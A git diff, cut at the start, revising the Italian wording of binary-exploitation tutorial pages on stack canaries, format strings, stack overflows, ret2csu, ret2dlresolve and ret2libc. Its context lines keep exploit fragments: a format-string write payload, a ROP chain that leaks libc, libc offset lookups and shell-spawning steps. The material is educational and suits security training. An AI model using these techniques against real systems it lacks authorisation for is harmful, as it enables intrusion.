trovare un modo per eluderli.** +**Se stai affrontando un binario protetto da un canary e PIE (Position Independent Executable) probabilmente devi trovare un modo per bypassarli.** ![](<../../../../images/image (144).png>) @@ -12,9 +12,9 @@ ## Brute force Canary -Il modo migliore per eludere un semplice canary è se il binario è un programma **che fork ogni volta che stabilisci una nuova connessione** con esso (servizio di rete), perché ogni volta che ti connetti ad esso **verrà utilizzato lo stesso canary**. +Il modo migliore per bypassare un semplice canary è se il binario è un programma **che fork ogni volta che stabilisci una nuova connessione** con esso (servizio di rete), perché ogni volta che ti connetti ad esso **verrà utilizzato lo stesso canary**. -Quindi, il modo migliore per eludere il canary è semplicemente **forzarlo carattere per carattere**, e puoi capire se il byte del canary indovinato era corretto controllando se il programma è andato in crash o continua il suo flusso regolare. In questo esempio la funzione **forza un canary di 8 byte (x64)** e distingue tra un byte indovinato corretto e un byte errato semplicemente **controllando** se una **risposta** viene inviata dal server (un altro modo in **altra situazione** potrebbe essere utilizzare un **try/except**): +Quindi, il modo migliore per bypassare il canary è semplicemente **forzarlo carattere per carattere**, e puoi capire se il byte del canary indovinato era corretto controllando se il programma è andato in crash o continua il suo flusso regolare. In questo esempio la funzione **forza un canary di 8 Bytes (x64)** e distingue tra un byte indovinato corretto e un byte errato semplicemente **controllando** se una **risposta** viene inviata dal server (un altro modo in **altra situazione** potrebbe essere utilizzare un **try/except**): ### Example 1 @@ -105,7 +105,7 @@ log.info(f"The canary is: {canary}") I thread dello stesso processo condivideranno anche **lo stesso token canary**, quindi sarà possibile **forzare** un canary se il binario genera un nuovo thread ogni volta che si verifica un attacco. -Un buffer overflow in una funzione multithreaded protetta con canary può essere utilizzato per modificare il canary master del processo. Di conseguenza, la mitigazione è inutile perché il controllo viene eseguito con due canary che sono gli stessi (anche se modificati). +Un buffer overflow in una funzione multithread protetta con canary può essere utilizzato per modificare il canary master del processo. Di conseguenza, la mitigazione è inutile perché il controllo viene eseguito con due canary che sono gli stessi (anche se modificati). ### Esempio diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md index 4a4b60d94..149fef7fa 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -2,11 +2,11 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Ingrossa lo stack stampato +## Ingrandire lo stack stampato Immagina una situazione in cui un **programma vulnerabile** a overflow dello stack può eseguire una funzione **puts** **puntando** a **parte** dell'**overflow dello stack**. L'attaccante sa che il **primo byte del canary è un byte nullo** (`\x00`) e il resto del canary sono **byte casuali**. Quindi, l'attaccante può creare un overflow che **sovrascrive lo stack fino al primo byte del canary**. -Poi, l'attaccante **chiama la funzionalità puts** a metà del payload che **stamperà tutto il canary** (eccetto il primo byte nullo). +Poi, l'attaccante **chiama la funzionalità puts** nel mezzo del payload che **stamperà tutto il canary** (eccetto il primo byte nullo). Con queste informazioni, l'attaccante può **creare e inviare un nuovo attacco** conoscendo il canary (nella stessa sessione del programma). @@ -15,7 +15,7 @@ Ovviamente, questa tattica è molto **ristretta** poiché l'attaccante deve esse **Esempi CTF:** - [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e esfiltrarlo. Con il canary viene creato un gadget ROP per chiamare puts e rivelare l'indirizzo di puts dal GOT e un gadget ROP per chiamare `system('/bin/sh')` +- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e esfiltrarlo. Con il canary viene creato un gadget ROP per chiamare puts e rivelare l'indirizzo di puts dal GOT e poi un gadget ROP per chiamare `system('/bin/sh')` ## Lettura Arbitraria diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md index c6dad0b0e..b708cf4eb 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## FDs nello Sfruttamento Remoto +## FDs nell'Exploitation Remota Quando si invia un exploit a un server remoto che chiama **`system('/bin/sh')`** per esempio, questo verrà eseguito nel processo del server, e `/bin/sh` si aspetterà input da stdin (FD: `0`) e stamperà l'output in stdout e stderr (FDs `1` e `2`). Quindi l'attaccante non sarà in grado di interagire con la shell. @@ -29,7 +29,7 @@ p.interactive() Nota che socat trasferisce già `stdin` e `stdout` al socket. Tuttavia, la modalità `pty` **include caratteri DELETE**. Quindi, se invii un `\x7f` ( `DELETE` -) eliminerà **il carattere precedente** del tuo exploit. -Per aggirare questo, il **carattere di escape `\x16` deve essere preceduto a qualsiasi `\x7f` inviato.** +Per aggirare questo, **il carattere di escape `\x16` deve essere preceduto a qualsiasi `\x7f` inviato.** **Qui puoi** [**trovare un esempio di questo comportamento**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md index 143d4a1c2..5b21cfacb 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md @@ -37,7 +37,7 @@ Segment Sections... 07 08 .init_array .fini_array .dynamic .got ``` -Il programma precedente ha **9 intestazioni di programma**, quindi, il **mapping dei segmenti** indica in quale intestazione di programma (da 00 a 08) **si trova ciascuna sezione**. +Il programma precedente ha **9 intestazioni di programma**, quindi, la **mappatura dei segmenti** indica in quale intestazione di programma (da 00 a 08) **si trova ciascuna sezione**. ### PHDR - Program HeaDeR @@ -80,11 +80,11 @@ Nota che RELRO può essere parziale o completo, la versione parziale non protegg ### TLS -Definisce una tabella di voci TLS, che memorizza informazioni sulle variabili locali ai thread. +Definisce una tabella di voci TLS, che memorizza informazioni sulle variabili locali al thread. -## Intestazioni delle Sezioni +## Intestazioni di Sezione -Le intestazioni delle sezioni forniscono una visione più dettagliata del binario ELF. +Le intestazioni di sezione forniscono una visione più dettagliata del binario ELF. ``` objdump lnstat -h @@ -159,7 +159,7 @@ Indica anche la posizione, l'offset, i permessi ma anche il **tipo di dati** che - **`.data`**: Variabili globali con un valore definito nel programma. - **`.bss`**: Variabili globali lasciate non inizializzate (o inizializzate a zero). Le variabili qui sono automaticamente inizializzate a zero, prevenendo quindi l'aggiunta di zeri inutili al binario. - **`.rodata`**: Variabili globali costanti (sezione di sola lettura). -- **`.tdata`** e **`.tbss`**: Come .data e .bss quando vengono utilizzate variabili locali al thread (`__thread_local` in C++ o `__thread` in C). +- **`.tdata`** e **`.tbss`**: Come .data e .bss quando si utilizzano variabili locali al thread (`__thread_local` in C++ o `__thread` in C). - **`.dynamic`**: Vedi sotto. ## Simboli @@ -324,7 +324,7 @@ Quindi, quando un programma chiama malloc, in realtà chiama la posizione corris ## Program Initialization -Dopo che il programma è stato caricato, è tempo di eseguirlo. Tuttavia, il primo codice che viene eseguito **non è sempre la funzione `main`**. Questo perché, ad esempio, in C++ se una **variabile globale è un oggetto di una classe**, questo oggetto deve essere **inizializzato** **prima** che main venga eseguito, come in: +Dopo che il programma è stato caricato, è tempo di eseguirlo. Tuttavia, il primo codice che viene eseguito **non è sempre la funzione `main`**. Questo perché, ad esempio, in C++ se una **variabile globale è un oggetto di una classe**, questo oggetto deve essere **inizializzato** **prima** che venga eseguita main, come in: ```cpp #include // g++ autoinit.cpp -o autoinit @@ -354,13 +354,13 @@ __attributte__((destructor)) //Add to the destructor list ``` Dal punto di vista di un compilatore, per eseguire queste azioni prima e dopo l'esecuzione della funzione `main`, è possibile creare una funzione `init` e una funzione `fini` che sarebbero referenziate nella sezione dinamica come **`INIT`** e **`FIN`**. e sono collocate nelle sezioni `init` e `fini` dell'ELF. -L'altra opzione, come menzionato, è riferirsi alle liste **`__CTOR_LIST__`** e **`__DTOR_LIST__`** nelle voci **`INIT_ARRAY`** e **`FINI_ARRAY`** nella sezione dinamica e la lunghezza di queste è indicata da **`INIT_ARRAYSZ`** e **`FINI_ARRAYSZ`**. Ogni voce è un puntatore a funzione che verrà chiamato senza argomenti. +L'altra opzione, come menzionato, è fare riferimento alle liste **`__CTOR_LIST__`** e **`__DTOR_LIST__`** nelle voci **`INIT_ARRAY`** e **`FINI_ARRAY`** nella sezione dinamica e la lunghezza di queste è indicata da **`INIT_ARRAYSZ`** e **`FINI_ARRAYSZ`**. Ogni voce è un puntatore a funzione che verrà chiamato senza argomenti. Inoltre, è anche possibile avere un **`PREINIT_ARRAY`** con **puntatori** che verranno eseguiti **prima** dei puntatori **`INIT_ARRAY`**. ### Ordine di Inizializzazione -1. Il programma viene caricato in memoria, le variabili globali statiche vengono inizializzate in **`.data`** e quelle non inizializzate azzerate in **`.bss`**. +1. Il programma viene caricato in memoria, le variabili globali statiche vengono inizializzate in **`.data`** e quelle non inizializzate vengono azzerate in **`.bss`**. 2. Tutte le **dipendenze** per il programma o le librerie vengono **inizializzate** e il **collegamento dinamico** viene eseguito. 3. Le funzioni **`PREINIT_ARRAY`** vengono eseguite. 4. Le funzioni **`INIT_ARRAY`** vengono eseguite. diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md index ec413d43a..86a35a847 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md @@ -37,7 +37,7 @@ printf("%x %x %x", value); // Unexpected output: reads random values from the s ``` ### **Accessing Pointers** -Il formato **`%$x`**, dove `n` è un numero, consente di indicare a printf di selezionare il n-esimo parametro (dallo stack). Quindi, se vuoi leggere il 4° parametro dallo stack usando printf, puoi fare: +Il formato **`%$x`**, dove `n` è un numero, consente di indicare a printf di selezionare il n-esimo parametro (dallo stack). Quindi, se vuoi leggere il 4° parametro dallo stack usando printf, potresti fare: ```c printf("%x %x %x %x") ``` @@ -70,7 +70,7 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa verrà troncata a 0x00 alla fine di quell'indirizzo. +> Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa verrà tagliata a 0x00 alla fine di quell'indirizzo. ## **Scrittura Arbitraria** @@ -109,9 +109,9 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` -### Modello Pwntools +### Pwntools Template -Puoi trovare un modello per preparare un exploit per questo tipo di vulnerabilità in: +Puoi trovare un template per preparare un exploit per questo tipo di vulnerabilità in: {{#ref}} format-strings-template.md @@ -136,7 +136,7 @@ p.sendline('/bin/sh') p.interactive() ``` -## Altri Esempi & Riferimenti +## Altri Esempi e Riferimenti - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) @@ -145,6 +145,6 @@ p.interactive() - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - 32 bit, relro, no canary, nx, no pie, format string per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bit, relro, no canary, nx, no pie, format string per scrivere un indirizzo dentro main in `.fini_array` (così il flusso torna indietro un'altra volta) e scrivere l'indirizzo a `system` nella tabella GOT puntando a `strlen`. Quando il flusso torna a main, `strlen` viene eseguito con input dell'utente e puntando a `system`, eseguirà i comandi passati. +- 32 bit, relro, no canary, nx, no pie, format string per scrivere un indirizzo dentro main in `.fini_array` (così il flusso torna indietro un'altra volta) e scrivere l'indirizzo a `system` nella tabella GOT puntando a `strlen`. Quando il flusso torna a main, `strlen` viene eseguito con l'input dell'utente e puntando a `system`, eseguirà i comandi passati. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md index ce855fb9c..8650d584e 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md @@ -4,7 +4,7 @@ ## Cos'è uno Stack Overflow -Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano allocati per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione di dati validi, alla disruption del flusso di controllo e potenzialmente all'esecuzione di codice malevolo. Questo problema si verifica spesso a causa dell'uso di funzioni non sicure che non eseguono controlli sui limiti dell'input. +Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano allocati per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione di dati validi, alla disruption del flusso di controllo e potenzialmente all'esecuzione di codice malevolo. Questo problema si verifica spesso a causa dell'uso di funzioni non sicure che non eseguono il controllo dei limiti sugli input. Il problema principale di questa sovrascrittura è che il **puntatore di istruzione salvato (EIP/RIP)** e il **puntatore di base salvato (EBP/RBP)** per tornare alla funzione precedente sono **memorizzati nello stack**. Pertanto, un attaccante sarà in grado di sovrascrivere questi e **controllare il flusso di esecuzione del programma**. @@ -22,9 +22,9 @@ printf("You entered: %s\n", buffer); ``` ### Trovare Stack Overflow -Il modo più comune per trovare stack overflow è fornire un input molto grande di `A`s (ad es. `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che l'**indirizzo `0x41414141` è stato tentato di essere accesso**. +Il modo più comune per trovare stack overflow è fornire un input molto grande di `A`s (ad esempio `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che l'**indirizzo `0x41414141` è stato tentato di essere accesso**. -Inoltre, una volta trovata la vulnerabilità di Stack Overflow, sarà necessario trovare l'offset fino a quando non sarà possibile **sovrascrivere l'indirizzo di ritorno**; per questo si usa solitamente una **sequenza di De Bruijn.** Che per un dato alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_ è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza **_**n**_** appare esattamente una volta** come sottosequenza contigua. +Inoltre, una volta trovata la vulnerabilità di Stack Overflow, sarà necessario trovare l'offset fino a quando non sarà possibile **sovrascrivere l'indirizzo di ritorno**, per questo di solito si utilizza una **sequenza di De Bruijn.** Che per un dato alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_ è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza **_**n**_** appare esattamente una volta** come sottosequenza contigua. In questo modo, invece di dover capire manualmente quale offset è necessario per controllare l'EIP, è possibile utilizzare come padding una di queste sequenze e poi trovare l'offset dei byte che hanno finito per sovrascriverlo. @@ -49,10 +49,10 @@ pattern search $rsp #Search the offset given the content of $rsp ``` ## Sfruttamento degli Overflow dello Stack -Durante un overflow (supponendo che la dimensione dell'overflow sia sufficientemente grande) sarai in grado di sovrascrivere i valori delle variabili locali all'interno dello stack fino a raggiungere l'EBP/RBP e l'EIP/RIP salvati (o anche di più).\ -Il modo più comune per abusare di questo tipo di vulnerabilità è **modificare l'indirizzo di ritorno** in modo che quando la funzione termina, il **flusso di controllo verrà reindirizzato ovunque l'utente abbia specificato** in questo puntatore. +Durante un overflow (supponendo che la dimensione dell'overflow sia abbastanza grande) sarai in grado di sovrascrivere i valori delle variabili locali all'interno dello stack fino a raggiungere l'EBP/RBP e l'EIP/RIP salvati (o anche di più).\ +Il modo più comune per abusare di questo tipo di vulnerabilità è **modificare l'indirizzo di ritorno** in modo che quando la funzione termina, **il flusso di controllo verrà reindirizzato ovunque l'utente abbia specificato** in questo puntatore. -Tuttavia, in altri scenari, potrebbe essere sufficiente **sovrascrivere alcuni valori delle variabili nello stack** per l'exploitation (come nelle facili sfide CTF). +Tuttavia, in altri scenari, potrebbe essere sufficiente **sovrascrivere alcuni valori delle variabili nello stack** per l'esploitazione (come nelle facili sfide CTF). ### Ret2win diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md index 2d3bcfa86..bc78f9164 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md @@ -4,13 +4,13 @@ ## Informazioni di Base -**ret2csu** è una tecnica di hacking utilizzata quando si cerca di prendere il controllo di un programma ma non si riescono a trovare i **gadgets** che si usano di solito per manipolare il comportamento del programma. +**ret2csu** è una tecnica di hacking utilizzata quando stai cercando di prendere il controllo di un programma ma non riesci a trovare i **gadgets** che di solito usi per manipolare il comportamento del programma. Quando un programma utilizza determinate librerie (come libc), ha alcune funzioni integrate per gestire come i diversi pezzi del programma comunicano tra loro. Tra queste funzioni ci sono alcune gemme nascoste che possono agire come i nostri gadgets mancanti, in particolare una chiamata `__libc_csu_init`. ### I Gadgets Magici in \_\_libc_csu_init -In `__libc_csu_init`, ci sono due sequenze di istruzioni (i nostri "gadget magici") che si distinguono: +In `__libc_csu_init`, ci sono due sequenze di istruzioni (i nostri "gadgets magici") che si distinguono: 1. La prima sequenza ci consente di impostare valori in diversi registri (rbx, rbp, r12, r13, r14, r15). Questi sono come slot dove possiamo memorizzare numeri o indirizzi che vogliamo utilizzare in seguito. ```armasm diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md index 260f6d685..e244fe6e4 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md @@ -6,11 +6,11 @@ Come spiegato nella pagina su [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) e [**Relro**](../common-binary-protections-and-bypasses/relro.md), i binari senza Full Relro risolveranno i simboli (come indirizzi a librerie esterne) la prima volta che vengono utilizzati. Questa risoluzione avviene chiamando la funzione **`_dl_runtime_resolve`**. -La funzione **`_dl_runtime_resolve`** prende dallo stack riferimenti ad alcune strutture di cui ha bisogno per risolvere il simbolo specificato. +La funzione **`_dl_runtime_resolve`** prende dallo stack riferimenti a alcune strutture di cui ha bisogno per risolvere il simbolo specificato. Pertanto, è possibile **falsificare tutte queste strutture** per far sì che la risoluzione dinamica colleghi il simbolo richiesto (come la funzione **`system`**) e chiamarla con un parametro configurato (ad es. **`system('/bin/sh')`**). -Di solito, tutte queste strutture vengono falsificate creando una **catena ROP iniziale che chiama `read`** su una memoria scrivibile, quindi le **strutture** e la stringa **`'/bin/sh'`** vengono passate in modo che vengano memorizzate da read in una posizione nota, e poi la catena ROP continua chiamando **`_dl_runtime_resolve`** con l'indirizzo a `$'/bin/sh'`. +Di solito, tutte queste strutture vengono falsificate creando una **catena ROP iniziale che chiama `read`** su una memoria scrivibile, quindi le **strutture** e la stringa **`'/bin/sh'`** vengono passate in modo che vengano memorizzate da read in una posizione nota, e poi la catena ROP continua chiamando **`_dl_runtime_resolve`** con l'indirizzo di `$'/bin/sh'`. > [!TIP] > Questa tecnica è particolarmente utile se non ci sono gadget syscall (per utilizzare tecniche come [**ret2syscall**](rop-syscall-execv.md) o [SROP](srop-sigreturn-oriented-programming.md)) e non ci sono modi per fare leak degli indirizzi libc. @@ -21,11 +21,11 @@ Puoi trovare una spiegazione migliore su questa tecnica nella seconda metà del ## Strutture -È necessario falsificare 3 strutture: **`JMPREL`**, **`STRTAB`** e **`SYMTAB`**. Hai una spiegazione migliore su come vengono costruite in [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) +È necessario falsificare 3 strutture: **`JMPREL`**, **`STRTAB`** e **`SYMTAB`**. Hai una spiegazione migliore su come queste vengono costruite in [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) ## Riepilogo dell'attacco -1. Scrivere strutture false in un certo luogo +1. Scrivere strutture false in qualche luogo 2. Impostare il primo argomento di system (`$rdi = &'/bin/sh'`) 3. Impostare nello stack gli indirizzi delle strutture per chiamare **`_dl_runtime_resolve`** 4. **Chiamare** `_dl_runtime_resolve` diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md index 9863a1a75..0d12d9887 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md @@ -12,7 +12,7 @@ Inoltre, essere in grado di posizionare il shellcode **dopo la corruzione dell'E ### Mancanza di spazio -Se ti manca spazio per scrivere dopo aver sovrascritto l'RIP (forse solo pochi byte), scrivi un shellcode iniziale `jmp` come: +Se ti manca spazio per scrivere dopo aver sovrascritto l'RIP (forse solo pochi byte), scrivi un shellcode `jmp` iniziale come: ```armasm sub rsp, 0x30 jmp rsp diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md index 95ccb7d66..b70b0d229 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md @@ -4,7 +4,7 @@ ## **Informazioni di base** -L'essenza di **Ret2Libc** è reindirizzare il flusso di esecuzione di un programma vulnerabile a una funzione all'interno di una libreria condivisa (ad es., **system**, **execve**, **strcpy**) invece di eseguire shellcode fornito dall'attaccante nello stack. L'attaccante crea un payload che modifica l'indirizzo di ritorno nello stack per puntare alla funzione della libreria desiderata, mentre organizza anche eventuali argomenti necessari per essere impostati correttamente secondo la convenzione di chiamata. +L'essenza di **Ret2Libc** è reindirizzare il flusso di esecuzione di un programma vulnerabile a una funzione all'interno di una libreria condivisa (ad es., **system**, **execve**, **strcpy**) invece di eseguire shellcode fornito dall'attaccante nello stack. L'attaccante crea un payload che modifica l'indirizzo di ritorno nello stack per puntare alla funzione della libreria desiderata, mentre organizza anche per qualsiasi argomento necessario per essere impostato correttamente secondo la convenzione di chiamata. ### **Passaggi di esempio (semplificati)** @@ -13,7 +13,7 @@ L'essenza di **Ret2Libc** è reindirizzare il flusso di esecuzione di un program ## Trovare gli indirizzi -- Supponendo che la `libc` utilizzata sia quella della macchina corrente, puoi trovare dove verrà caricata in memoria con: +- Supponendo che la `libc` utilizzata sia quella della macchina attuale, puoi trovare dove verrà caricata in memoria con: ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ``` @@ -21,11 +21,11 @@ Se vuoi controllare se l'ASLR sta cambiando l'indirizzo di libc puoi fare: ```bash for i in `seq 0 20`; do ldd ./ | grep libc; done ``` -- Conoscendo la libc utilizzata è anche possibile trovare l'offset della funzione `system` con: +- Conoscendo la libc utilizzata è possibile trovare anche l'offset della funzione `system` con: ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` -- Conoscendo la libc utilizzata è anche possibile trovare l'offset alla stringa `/bin/sh` funzione con: +- Conoscendo la libc utilizzata è possibile trovare anche l'offset della stringa `/bin/sh` con: ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` @@ -37,9 +37,9 @@ p system p exit find "/bin/sh" ``` -### Utilizzo di /proc/\/maps +### Utilizzando /proc/\/maps -Se il processo sta creando **figli** ogni volta che parli con esso (server di rete), prova a **leggere** quel file (probabilmente avrai bisogno di essere root). +Se il processo sta creando **figli** ogni volta che parli con esso (server di rete) prova a **leggere** quel file (probabilmente avrai bisogno di essere root). Qui puoi trovare **esattamente dove è caricata la libc** all'interno del processo e **dove verrà caricata** per ogni figlio del processo. @@ -115,12 +115,12 @@ Questo significa fondamentalmente abusare di un **Ret2lib per trasformarlo in un ../../format-strings/ {{#endref}} -## Altri Esempi & riferimenti +## Altri Esempi e riferimenti - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) - Ret2lib, dato un leak all'indirizzo di una funzione in libc, utilizzando un gadget - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts per leakare l'indirizzo di puts dal GOT e poi un gadget ROP per chiamare `system('/bin/sh')` +- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts per leakare l'indirizzo di puts dal GOT e un gadget ROP per chiamare `system('/bin/sh')` - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - 64 bit, ASLR abilitato, senza canary, overflow dello stack in main da una funzione figlia. Gadget ROP per chiamare puts per leakare l'indirizzo di puts dal GOT e poi chiamare un gadget. - [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html) diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md index 8c8548304..b7a0e6e01 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md @@ -124,7 +124,7 @@ Per fare ciò, la linea più importante del codice eseguito è: ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` -Questo invierà alcuni byte fino a quando **sovrascrivere** il **RIP** sarà possibile: `OFFSET`.\ +Questo invierà alcuni byte fino a quando **sovrascrivere** il **RIP** è possibile: `OFFSET`.\ Poi, imposterà l'**indirizzo** del gadget `POP_RDI` in modo che il prossimo indirizzo (`FUNC_GOT`) sarà salvato nel registro **RDI**. Questo perché vogliamo **chiamare puts** **passandogli** l'**indirizzo** di `PUTS_GOT` poiché l'indirizzo in memoria della funzione puts è salvato nell'indirizzo puntato da `PUTS_GOT`.\ Dopo di che, verrà chiamato `PUTS_PLT` (con `PUTS_GOT` all'interno del **RDI**) in modo che puts **legga il contenuto** all'interno di `PUTS_GOT` (**l'indirizzo della funzione puts in memoria**) e **lo stampi**.\ Infine, **la funzione main viene chiamata di nuovo** così possiamo sfruttare di nuovo il buffer overflow. @@ -133,7 +133,7 @@ In questo modo abbiamo **ingannato la funzione puts** per **stampare** l'**indir ![](<../../../../../images/image (141).png>) -Poiché stiamo **sfruttando** un **binario locale**, **non è necessario** capire quale versione di **libc** viene utilizzata (basta trovare la libreria in `/lib/x86_64-linux-gnu/libc.so.6`).\ +Poiché stiamo **sfruttando** un **binario** **locale**, non è **necessario** capire quale versione di **libc** viene utilizzata (basta trovare la libreria in `/lib/x86_64-linux-gnu/libc.so.6`).\ Ma, in un caso di exploit remoto, spiegherò qui come puoi trovarlo: ### 3.1- Ricerca della versione di libc (1) @@ -182,7 +182,7 @@ __libc_start_main read gets ``` -## 4- Trovare l'indirizzo della libc basato e sfruttare +## 4- Trovare l'indirizzo libc basato e sfruttare A questo punto dovremmo conoscere la libreria libc utilizzata. Poiché stiamo sfruttando un binario locale, userò solo: `/lib/x86_64-linux-gnu/libc.so.6` @@ -190,7 +190,7 @@ Quindi, all'inizio di `template.py`, cambia la variabile **libc** in: `libc = EL Fornendo il **percorso** alla **libreria libc**, il resto dell'**exploit verrà calcolato automaticamente**. -All'interno della funzione `get_addr`, verrà calcolato il **base address della libc**: +All'interno della funzione `get_addr`, verrà calcolato il **base address di libc**: ```python if libc != "": 